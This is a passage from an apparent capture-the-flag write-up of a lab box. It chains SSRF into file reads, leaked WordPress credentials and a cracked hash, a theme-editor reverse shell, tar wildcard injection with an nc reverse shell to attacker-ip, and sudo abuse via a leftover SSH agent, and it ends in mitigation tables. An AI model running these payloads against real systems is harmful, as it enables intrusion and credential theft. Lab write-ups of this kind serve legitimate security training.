&lt;p&gt;The target's PDF renderer requested &lt;code&gt;redirect.php&lt;/code&gt; over plain HTTP (confirmed server-side in the PHP dev server log: &lt;code&gt;GET /redirect.php&lt;/code&gt; -&amp;gt; &lt;code&gt;302&lt;/code&gt;), and - unlike a &lt;code&gt;file://&lt;/code&gt; URI written directly into the HTML - &lt;strong&gt;followed that redirect itself&lt;/strong&gt;, landing on &lt;code&gt;file:///etc/passwd&lt;/code&gt; and rendering its full contents inline in the resulting PDF (confirming users &lt;code&gt;kyle&lt;/code&gt;, &lt;code&gt;mysql&lt;/code&gt;, &lt;code&gt;ubuntu&lt;/code&gt;, &lt;code&gt;www-data&lt;/code&gt;, etc. on the box).&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Pivoting the LFI to a higher-value target&lt;/strong&gt; - the same redirector technique, with the &lt;code&gt;Location&lt;/code&gt; header changed to point at WordPress's config file:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight php"&gt;&lt;code&gt;// redirect.php
&lt;span class="cp"&gt;&amp;lt;?php&lt;/span&gt;
&lt;span class="nb"&gt;header&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s2"&gt;"Location: file:///var/www/wordpress/wp-config.php"&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
&lt;span class="cp"&gt;?&amp;gt;&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Re-requesting the same &lt;code&gt;&amp;lt;iframe src="http://attacker-ip/redirect.php"&amp;gt;&lt;/code&gt; payload against the updated redirector disclosed the full &lt;code&gt;wp-config.php&lt;/code&gt;, including:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight php"&gt;&lt;code&gt;&lt;span class="nb"&gt;define&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt; &lt;span class="s1"&gt;'DB_NAME'&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="s1"&gt;'wordpress'&lt;/span&gt; &lt;span class="p"&gt;);&lt;/span&gt;
&lt;span class="nb"&gt;define&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt; &lt;span class="s1"&gt;'DB_USER'&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="s1"&gt;'wordpressuser'&lt;/span&gt; &lt;span class="p"&gt;);&lt;/span&gt;
&lt;span class="nb"&gt;define&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt; &lt;span class="s1"&gt;'DB_PASSWORD'&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="s1"&gt;'coolDataTablesMan'&lt;/span&gt; &lt;span class="p"&gt;);&lt;/span&gt;
&lt;span class="nb"&gt;define&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt; &lt;span class="s1"&gt;'DB_HOST'&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="s1"&gt;'localhost'&lt;/span&gt; &lt;span class="p"&gt;);&lt;/span&gt;
&lt;span class="c1"&gt;// plus AUTH_KEY / SECURE_AUTH_KEY / LOGGED_IN_KEY / NONCE_KEY / *_SALT values&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;






&lt;h2&gt;
  
  
  4. From Leaked DB Credentials to a WordPress Account
&lt;/h2&gt;

&lt;h3&gt;
  
  
  4.1 Adminer Login
&lt;/h3&gt;

&lt;p&gt;The &lt;code&gt;wordpressuser&lt;/code&gt; / &lt;code&gt;coolDataTablesMan&lt;/code&gt; credentials pulled straight out of &lt;code&gt;wp-config.php&lt;/code&gt; were used against the Adminer panel discovered earlier:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;http://seasurfer.thm/adminer/?username=wordpressuser&amp;amp;db=wordpress
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Login succeeded, exposing the full &lt;code&gt;wordpress&lt;/code&gt; database (12 tables: &lt;code&gt;wp_users&lt;/code&gt;, &lt;code&gt;wp_options&lt;/code&gt;, &lt;code&gt;wp_posts&lt;/code&gt;, etc.).&lt;/p&gt;

&lt;h3&gt;
  
  
  4.2 Dumping wp_users
&lt;/h3&gt;



&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight sql"&gt;&lt;code&gt;&lt;span class="k"&gt;SELECT&lt;/span&gt; &lt;span class="o"&gt;*&lt;/span&gt; &lt;span class="k"&gt;FROM&lt;/span&gt; &lt;span class="n"&gt;wp_users&lt;/span&gt; &lt;span class="k"&gt;LIMIT&lt;/span&gt; &lt;span class="mi"&gt;50&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Returned a single account:&lt;/p&gt;

&lt;div class="table-wrapper-paragraph"&gt;&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;ID&lt;/th&gt;
&lt;th&gt;user_login&lt;/th&gt;
&lt;th&gt;user_pass&lt;/th&gt;
&lt;th&gt;user_email&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;1&lt;/td&gt;
&lt;td&gt;kyle&lt;/td&gt;
&lt;td&gt;&lt;code&gt;$P$BuCryp52DAdCRIcLrT9vrFNb0vPcyi/&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;&lt;a href="mailto:kyle@seasurfer.thm"&gt;kyle@seasurfer.thm&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;&lt;/div&gt;

&lt;h3&gt;
  
  
  4.3 Cracking the Hash
&lt;/h3&gt;



&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;john --wordlist=/usr/share/wordlists/rockyou.txt kyle-hash
...
jenny4ever       (?)
1g 0:00:00:08 DONE
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;The &lt;code&gt;phpass&lt;/code&gt; hash cracked almost instantly against &lt;code&gt;rockyou.txt&lt;/code&gt; - the password &lt;code&gt;jenny4ever&lt;/code&gt; is a weak, dictionary-adjacent value with no complexity.&lt;/p&gt;

&lt;h3&gt;
  
  
  4.4 WordPress Admin Login
&lt;/h3&gt;

&lt;p&gt;&lt;code&gt;kyle&lt;/code&gt; / &lt;code&gt;jenny4ever&lt;/code&gt; authenticated successfully at &lt;code&gt;http://seasurfer.thm/wp-login.php&lt;/code&gt;, landing on a full WordPress Dashboard (confirmed as an administrator - the account has a custom "Teams" menu item from the team-members plugin and full &lt;code&gt;wp-admin&lt;/code&gt; access).&lt;/p&gt;




&lt;h2&gt;
  
  
  5. Authenticated RCE via WordPress Theme Editor
&lt;/h2&gt;

&lt;p&gt;With admin access to &lt;code&gt;wp-admin&lt;/code&gt;, the built-in &lt;strong&gt;Theme File Editor&lt;/strong&gt; (Appearance -&amp;gt; Theme File Editor) was used to edit the active theme's &lt;code&gt;404.php&lt;/code&gt; template, injecting a PHP web shell / reverse-shell payload, then clicking &lt;strong&gt;Update File&lt;/strong&gt;. WordPress writes the edited PHP directly to disk with no code-execution restriction for admin users.&lt;/p&gt;

&lt;p&gt;Visiting any non-existent path on the site (e.g. &lt;code&gt;http://seasurfer.thm/&amp;lt;random-path&amp;gt;&lt;/code&gt;) triggers Apache/WordPress's 404 handling, which executes the now-malicious &lt;code&gt;404.php&lt;/code&gt;.&lt;/p&gt;

&lt;p&gt;A listener was started first:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;penelope listen &lt;span class="nt"&gt;-p&lt;/span&gt; 4444
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Then the crafted URL was requested, and the listener caught a shell:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight console"&gt;&lt;code&gt;&lt;span class="gp"&gt;[+] [New Reverse Shell] =&amp;gt;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;ip-machine-ip machine-ip Linux-x86_64  Session ID &amp;lt;1&amp;gt;
&lt;span class="gp"&gt;www-data@ip-machine-ip:/$&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nb"&gt;whoami&lt;/span&gt;
&lt;span class="go"&gt;www-data
&lt;/span&gt;&lt;span class="gp"&gt;www-data@ip-machine-ip:/$&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nb"&gt;id&lt;/span&gt;
&lt;span class="go"&gt;uid=33(www-data) gid=33(www-data) groups=33(www-data)
&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Code execution as &lt;code&gt;www-data&lt;/code&gt; obtained.&lt;/p&gt;




&lt;h2&gt;
  
  
  6. Privilege Escalation: www-data -&amp;gt; kyle (Tar Wildcard Injection)
&lt;/h2&gt;

&lt;p&gt;Exploring the webroot as &lt;code&gt;www-data&lt;/code&gt; surfaced a maintenance script:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;www-data@ip-machine-ip:/var/www/internal/maintenance&lt;span class="nv"&gt;$ &lt;/span&gt;&lt;span class="nb"&gt;cat &lt;/span&gt;backup.sh
&lt;span class="c"&gt;#!/bin/bash&lt;/span&gt;
&lt;span class="c"&gt;# Brandon complained about losing _one_ receipt when we had 5 minutes of downtime,&lt;/span&gt;
&lt;span class="c"&gt;# set this to run every minute now &amp;gt;:D&lt;/span&gt;
&lt;span class="nb"&gt;cd&lt;/span&gt; /var/www/internal/invoices
&lt;span class="nb"&gt;tar&lt;/span&gt; &lt;span class="nt"&gt;-zcf&lt;/span&gt; /home/kyle/backups/invoices.tgz &lt;span class="k"&gt;*&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;This script is scheduled to run &lt;strong&gt;every minute&lt;/strong&gt; (by &lt;code&gt;kyle&lt;/code&gt;'s crontab, inferred from the output path &lt;code&gt;/home/kyle/backups/&lt;/code&gt;), and it runs &lt;code&gt;tar&lt;/code&gt; with a bare &lt;code&gt;*&lt;/code&gt; glob inside &lt;code&gt;/var/www/internal/invoices&lt;/code&gt; - a directory the web application (and therefore &lt;code&gt;www-data&lt;/code&gt;) can write to, since generated receipts land there. This is the textbook setup for the classic &lt;strong&gt;tar wildcard injection&lt;/strong&gt; technique: filenames in the target directory that look like &lt;code&gt;tar&lt;/code&gt; command-line flags get expanded by the shell glob and interpreted by &lt;code&gt;tar&lt;/code&gt; as options.&lt;/p&gt;

&lt;p&gt;Exploit:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;&lt;span class="nb"&gt;echo&lt;/span&gt; &lt;span class="s1"&gt;'mkfifo /tmp/lhennp; nc attacker-ip 5555 0&amp;lt;/tmp/lhennp | /bin/sh &amp;gt;/tmp/lhennp 2&amp;gt;&amp;amp;1; rm /tmp/lhennp'&lt;/span&gt; &lt;span class="o"&gt;&amp;gt;&lt;/span&gt; shell.sh
&lt;span class="nb"&gt;chmod&lt;/span&gt; +x shell.sh

&lt;span class="nb"&gt;echo&lt;/span&gt; &lt;span class="s2"&gt;""&lt;/span&gt; &lt;span class="o"&gt;&amp;gt;&lt;/span&gt; &lt;span class="s2"&gt;"--checkpoint=1"&lt;/span&gt;
&lt;span class="nb"&gt;echo&lt;/span&gt; &lt;span class="s2"&gt;""&lt;/span&gt; &lt;span class="o"&gt;&amp;gt;&lt;/span&gt; &lt;span class="s2"&gt;"--checkpoint-action=exec=sh shell.sh"&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;When the cron-triggered &lt;code&gt;tar -zcf ... *&lt;/code&gt; next ran (within one minute), the glob expanded to include the two specially-named files, &lt;code&gt;tar&lt;/code&gt; interpreted them as &lt;code&gt;--checkpoint=1 --checkpoint-action=exec=sh shell.sh&lt;/code&gt;, and executed &lt;code&gt;shell.sh&lt;/code&gt; &lt;strong&gt;as the user owning the cron job (&lt;code&gt;kyle&lt;/code&gt;)&lt;/strong&gt;.&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;penelope listen -p 5555
...
[+] [New Reverse Shell] =&amp;gt; ip-machine-ip machine-ip Linux-x86_64  Session ID &amp;lt;1&amp;gt;
kyle@ip-machine-ip:/var/www/internal/invoices$ whoami
kyle
kyle@ip-machine-ip:/var/www/internal/invoices$ id
uid=1000(kyle) gid=1000(kyle) groups=1000(kyle),4(adm),24(cdrom),27(sudo),30(dip),33(www-data),46(plugdev)
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Shell upgraded to &lt;code&gt;kyle&lt;/code&gt; (notably in the &lt;code&gt;sudo&lt;/code&gt; group, but not yet usable - see Section 7).&lt;/p&gt;

&lt;h3&gt;
  
  
  User Flag
&lt;/h3&gt;



&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;kyle@ip-machine-ip:~$ cat user.txt
THM{REDACTED}
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;A personal SSH key was then added to &lt;code&gt;kyle&lt;/code&gt;'s &lt;code&gt;~/.ssh/authorized_keys&lt;/code&gt; for stable, persistent access, and subsequent interaction was done over a normal SSH session:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;ssh &lt;span class="nt"&gt;-i&lt;/span&gt; ~/.ssh/id_ed25519 kyle@seasurfer.thm
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;






&lt;h2&gt;
  
  
  7. Privilege Escalation: kyle -&amp;gt; root (Leftover SSH Agent + pam_ssh_agent_auth)
&lt;/h2&gt;

&lt;h3&gt;
  
  
  7.1 Dead Ends
&lt;/h3&gt;

&lt;p&gt;A standard SUID sweep found nothing unusual:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;kyle@ip-machine-ip:~&lt;span class="nv"&gt;$ &lt;/span&gt;find / &lt;span class="nt"&gt;-perm&lt;/span&gt; &lt;span class="nt"&gt;-4000&lt;/span&gt; 2&amp;gt;/dev/null
&lt;span class="c"&gt;# only standard system SUID binaries (mount, passwd, sudo, su, pkexec, etc.)&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;h3&gt;
  
  
  7.2 Unusual sudo Configuration
&lt;/h3&gt;

&lt;p&gt;&lt;code&gt;kyle&lt;/code&gt; is in the &lt;code&gt;sudo&lt;/code&gt; group, but &lt;code&gt;sudo -l&lt;/code&gt; initially requires authentication that plain password/console login doesn't satisfy. Inspecting the PAM stack explained why:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight conf"&gt;&lt;code&gt;&lt;span class="n"&gt;kyle&lt;/span&gt;@&lt;span class="n"&gt;ip&lt;/span&gt;-&lt;span class="n"&gt;machine&lt;/span&gt;-&lt;span class="n"&gt;ip&lt;/span&gt;:~$ &lt;span class="n"&gt;cat&lt;/span&gt; /&lt;span class="n"&gt;etc&lt;/span&gt;/&lt;span class="n"&gt;pam&lt;/span&gt;.&lt;span class="n"&gt;d&lt;/span&gt;/&lt;span class="n"&gt;sudo&lt;/span&gt;
&lt;span class="c"&gt;#%PAM-1.0
&lt;/span&gt;&lt;span class="n"&gt;auth&lt;/span&gt; &lt;span class="n"&gt;sufficient&lt;/span&gt; &lt;span class="n"&gt;pam_ssh_agent_auth&lt;/span&gt;.&lt;span class="n"&gt;so&lt;/span&gt; &lt;span class="n"&gt;file&lt;/span&gt;=/&lt;span class="n"&gt;etc&lt;/span&gt;/&lt;span class="n"&gt;ssh&lt;/span&gt;/&lt;span class="n"&gt;sudo_authorized_keys&lt;/span&gt;
&lt;span class="n"&gt;session&lt;/span&gt;    &lt;span class="n"&gt;required&lt;/span&gt;   &lt;span class="n"&gt;pam_env&lt;/span&gt;.&lt;span class="n"&gt;so&lt;/span&gt; &lt;span class="n"&gt;readenv&lt;/span&gt;=&lt;span class="m"&gt;1&lt;/span&gt; &lt;span class="n"&gt;user_readenv&lt;/span&gt;=&lt;span class="m"&gt;0&lt;/span&gt;
&lt;span class="n"&gt;session&lt;/span&gt;    &lt;span class="n"&gt;required&lt;/span&gt;   &lt;span class="n"&gt;pam_env&lt;/span&gt;.&lt;span class="n"&gt;so&lt;/span&gt; &lt;span class="n"&gt;readenv&lt;/span&gt;=&lt;span class="m"&gt;1&lt;/span&gt; &lt;span class="n"&gt;envfile&lt;/span&gt;=/&lt;span class="n"&gt;etc&lt;/span&gt;/&lt;span class="n"&gt;default&lt;/span&gt;/&lt;span class="n"&gt;locale&lt;/span&gt; &lt;span class="n"&gt;user_readenv&lt;/span&gt;=&lt;span class="m"&gt;0&lt;/span&gt;
@&lt;span class="n"&gt;include&lt;/span&gt; &lt;span class="n"&gt;common&lt;/span&gt;-&lt;span class="n"&gt;auth&lt;/span&gt;
@&lt;span class="n"&gt;include&lt;/span&gt; &lt;span class="n"&gt;common&lt;/span&gt;-&lt;span class="n"&gt;account&lt;/span&gt;
@&lt;span class="n"&gt;include&lt;/span&gt; &lt;span class="n"&gt;common&lt;/span&gt;-&lt;span class="n"&gt;session&lt;/span&gt;-&lt;span class="n"&gt;noninteractive&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;&lt;code&gt;sudo&lt;/code&gt; on this host is configured to authenticate via &lt;strong&gt;&lt;code&gt;pam_ssh_agent_auth&lt;/code&gt;&lt;/strong&gt;: if the invoking process has &lt;code&gt;SSH_AUTH_SOCK&lt;/code&gt; pointed at an agent holding a private key listed in &lt;code&gt;/etc/ssh/sudo_authorized_keys&lt;/code&gt;, &lt;code&gt;sudo&lt;/code&gt; succeeds with no password at all.&lt;/p&gt;

&lt;h3&gt;
  
  
  7.3 Finding a Usable Agent Socket
&lt;/h3&gt;

&lt;p&gt;A process listing revealed another session had left an SSH agent running and forwarded:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;kyle@ip-machine-ip:~$ ps aux
...
kyle    1059  0.0  0.3  13920  3256 ?        S  bash -c "sudo /root/admincheck; sleep infinity"
...
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;And a corresponding agent socket with loose permissions:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;kyle@ip-machine-ip:~$ ls -lpah /tmp/ssh-I2y4KwPuPD/agent.1145
srwxrwxr-x 1 kyle kyle 0 ... /tmp/ssh-I2y4KwPuPD/agent.1145
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;The socket is owned by &lt;code&gt;kyle&lt;/code&gt; and group/other-writable (&lt;code&gt;srwxrwxr-x&lt;/code&gt;), i.e. fully usable by the &lt;code&gt;kyle&lt;/code&gt; shell already obtained. Pointing the current shell's &lt;code&gt;SSH_AUTH_SOCK&lt;/code&gt; at it exposed a loaded key:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;kyle@ip-machine-ip:/tmp/ssh-rOWRscow8o&lt;span class="nv"&gt;$ &lt;/span&gt;&lt;span class="nb"&gt;export &lt;/span&gt;&lt;span class="nv"&gt;SSH_AUTH_SOCK&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;/tmp/ssh-rOWRscow8o/agent.1138
kyle@ip-machine-ip:/tmp/ssh-rOWRscow8o&lt;span class="nv"&gt;$ &lt;/span&gt;ssh-add &lt;span class="nt"&gt;-l&lt;/span&gt;
3072 SHA256:boZASmxRncp8AM+gt1toNuZr9jh1dyatwf9DPZYit88 kyle@seasurfer &lt;span class="o"&gt;(&lt;/span&gt;RSA&lt;span class="o"&gt;)&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;h3&gt;
  
  
  7.4 Escalating
&lt;/h3&gt;

&lt;p&gt;With that agent socket active, &lt;code&gt;sudo&lt;/code&gt; - authenticated via &lt;code&gt;pam_ssh_agent_auth&lt;/code&gt; against &lt;code&gt;/etc/ssh/sudo_authorized_keys&lt;/code&gt; - succeeded outright:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;kyle@ip-machine-ip:/tmp/ssh-rOWRscow8o$ sudo -l
Matching Defaults entries for kyle on seasurfer:
    env_keep+=SSH_AUTH_SOCK, env_reset, timestamp_timeout=420, mail_badpass,
    secure_path=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:/snap/bin
User kyle may run the following commands on seasurfer:
    (ALL : ALL) ALL

kyle@ip-machine-ip:/tmp/ssh-rOWRscow8o$ sudo su
root@seasurfer:/tmp/ssh-rOWRscow8o# cd /root
root@seasurfer:~# ls
admincheck  credits.txt  hidePID.sh  root.txt  snap  SSHtoserver.sh
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Full &lt;code&gt;root&lt;/code&gt; access obtained.&lt;/p&gt;

&lt;h3&gt;
  
  
  Root Flag
&lt;/h3&gt;



&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight console"&gt;&lt;code&gt;&lt;span class="gp"&gt;root@seasurfer:~#&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nb"&gt;cat &lt;/span&gt;root.txt
&lt;span class="go"&gt;THM{REDACTED}
&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;






&lt;h2&gt;
  
  
  Key Vulnerabilities
&lt;/h2&gt;

&lt;div class="table-wrapper-paragraph"&gt;&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;#&lt;/th&gt;
&lt;th&gt;Vulnerability&lt;/th&gt;
&lt;th&gt;Location&lt;/th&gt;
&lt;th&gt;Impact&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;1&lt;/td&gt;
&lt;td&gt;Internal hostname disclosure via custom response header&lt;/td&gt;
&lt;td&gt;
&lt;code&gt;X-Backend-Server&lt;/code&gt; header, port 80&lt;/td&gt;
&lt;td&gt;Revealed the real site name, enabling further vhost enumeration&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;2&lt;/td&gt;
&lt;td&gt;Unauthenticated internal-only application reachable from outside&lt;/td&gt;
&lt;td&gt;&lt;code&gt;internal.seasurfer.thm&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;Exposed a tool never meant to face the internet&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;3&lt;/td&gt;
&lt;td&gt;Reflected server-side HTML injection (no output encoding)&lt;/td&gt;
&lt;td&gt;
&lt;code&gt;invoice.php&lt;/code&gt; - every &lt;code&gt;$_GET&lt;/code&gt; key echoed raw&lt;/td&gt;
&lt;td&gt;Root cause enabling #4 and #5&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;4&lt;/td&gt;
&lt;td&gt;SSRF via HTML-to-PDF rendering&lt;/td&gt;
&lt;td&gt;Receipt generator comment field&lt;/td&gt;
&lt;td&gt;Server made outbound requests to attacker infrastructure&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;5&lt;/td&gt;
&lt;td&gt;Local File Inclusion, reached by chaining the SSRF through an attacker-hosted HTTP redirect to &lt;code&gt;file://&lt;/code&gt;
&lt;/td&gt;
&lt;td&gt;Receipt generator comment field&lt;/td&gt;
&lt;td&gt;Disclosed &lt;code&gt;/etc/passwd&lt;/code&gt; and &lt;code&gt;wp-config.php&lt;/code&gt; (DB creds + WP secret keys)&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;6&lt;/td&gt;
&lt;td&gt;Exposed Adminer instance, reachable with leaked DB credentials&lt;/td&gt;
&lt;td&gt;&lt;code&gt;seasurfer.thm/adminer/&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;Full read/write access to the WordPress database&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;7&lt;/td&gt;
&lt;td&gt;Weak/crackable user password&lt;/td&gt;
&lt;td&gt;
&lt;code&gt;kyle&lt;/code&gt;'s WordPress &lt;code&gt;phpass&lt;/code&gt; hash&lt;/td&gt;
&lt;td&gt;Cracked in seconds with &lt;code&gt;rockyou.txt&lt;/code&gt;
&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;8&lt;/td&gt;
&lt;td&gt;Authenticated RCE via WordPress Theme File Editor&lt;/td&gt;
&lt;td&gt;
&lt;code&gt;wp-admin&lt;/code&gt; -&amp;gt; Appearance -&amp;gt; Theme File Editor&lt;/td&gt;
&lt;td&gt;Direct PHP code execution as the web server user&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;9&lt;/td&gt;
&lt;td&gt;Unsafe &lt;code&gt;tar&lt;/code&gt; wildcard usage in a privileged cron job, over a web-writable directory&lt;/td&gt;
&lt;td&gt;
&lt;code&gt;/var/www/internal/maintenance/backup.sh&lt;/code&gt; (runs every minute)&lt;/td&gt;
&lt;td&gt;Local privilege escalation from &lt;code&gt;www-data&lt;/code&gt; to &lt;code&gt;kyle&lt;/code&gt;
&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;10&lt;/td&gt;
&lt;td&gt;World/group-accessible leftover SSH agent socket + permissive &lt;code&gt;pam_ssh_agent_auth&lt;/code&gt; sudo rule&lt;/td&gt;
&lt;td&gt;
&lt;code&gt;/tmp/ssh-*/agent.*&lt;/code&gt;, &lt;code&gt;/etc/pam.d/sudo&lt;/code&gt;, &lt;code&gt;/etc/ssh/sudo_authorized_keys&lt;/code&gt;
&lt;/td&gt;
&lt;td&gt;Local privilege escalation from &lt;code&gt;kyle&lt;/code&gt; to &lt;code&gt;root&lt;/code&gt;
&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;&lt;/div&gt;




&lt;h2&gt;
  
  
  Attack Chain Summary
&lt;/h2&gt;



&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;X-Backend-Server header leak
        |
        v
seasurfer.thm discovered (WordPress) --&amp;gt; ffuf finds /adminer/ (no creds yet)
        |
        v
ffuf vhost fuzz discovers internal.seasurfer.thm
        |
        v
Receipt generator (invoice.php) - unsanitized $_GET echoed into rendered HTML
        |
        +--&amp;gt; HTML injection confirmed (&amp;lt;b&amp;gt; test)
        +--&amp;gt; SSRF confirmed (iframe -&amp;gt; attacker http.server callback)
        +--&amp;gt; LFI via SSRF chained through an attacker-hosted PHP redirector (direct file:// payloads failed)
                 |
                 +--&amp;gt; /etc/passwd read
                 +--&amp;gt; wp-config.php read -&amp;gt; DB_USER / DB_PASSWORD leaked
                          |
                          v
                 Adminer login succeeds (wordpressuser / coolDataTablesMan)
                          |
                          v
                 wp_users dumped -&amp;gt; kyle's phpass hash
                          |
                          v
                 john + rockyou.txt -&amp;gt; password "jenny4ever"
                          |
                          v
                 WordPress admin login as kyle
                          |
                          v
                 Theme File Editor -&amp;gt; malicious 404.php -&amp;gt; RCE
                          |
                          v
                 Reverse shell as www-data
                          |
                          v
                 tar wildcard injection in cron backup.sh (web-writable dir)
                          |
                          v
                 Reverse shell as kyle (user.txt)
                          |
                          v
                 Leftover world-usable SSH agent socket + pam_ssh_agent_auth sudo rule
                          |
                          v
                 sudo su -&amp;gt; root (root.txt)
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;






&lt;h2&gt;
  
  
  Mitigations
&lt;/h2&gt;

&lt;div class="table-wrapper-paragraph"&gt;&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;Finding&lt;/th&gt;
&lt;th&gt;Recommended Fix&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;Vhost name leaked via &lt;code&gt;X-Backend-Server&lt;/code&gt;
&lt;/td&gt;
&lt;td&gt;Remove/strip custom debug headers from production responses; never expose internal hostnames to clients.&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Internal app reachable externally&lt;/td&gt;
&lt;td&gt;Internal-only vhosts should be bound to an internal network interface or protected by network ACLs / a VPN, not merely "unlinked." Security by obscurity (an unlisted vhost) is not a control.&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Unsanitized &lt;code&gt;$_GET&lt;/code&gt; reflected into rendered HTML&lt;/td&gt;
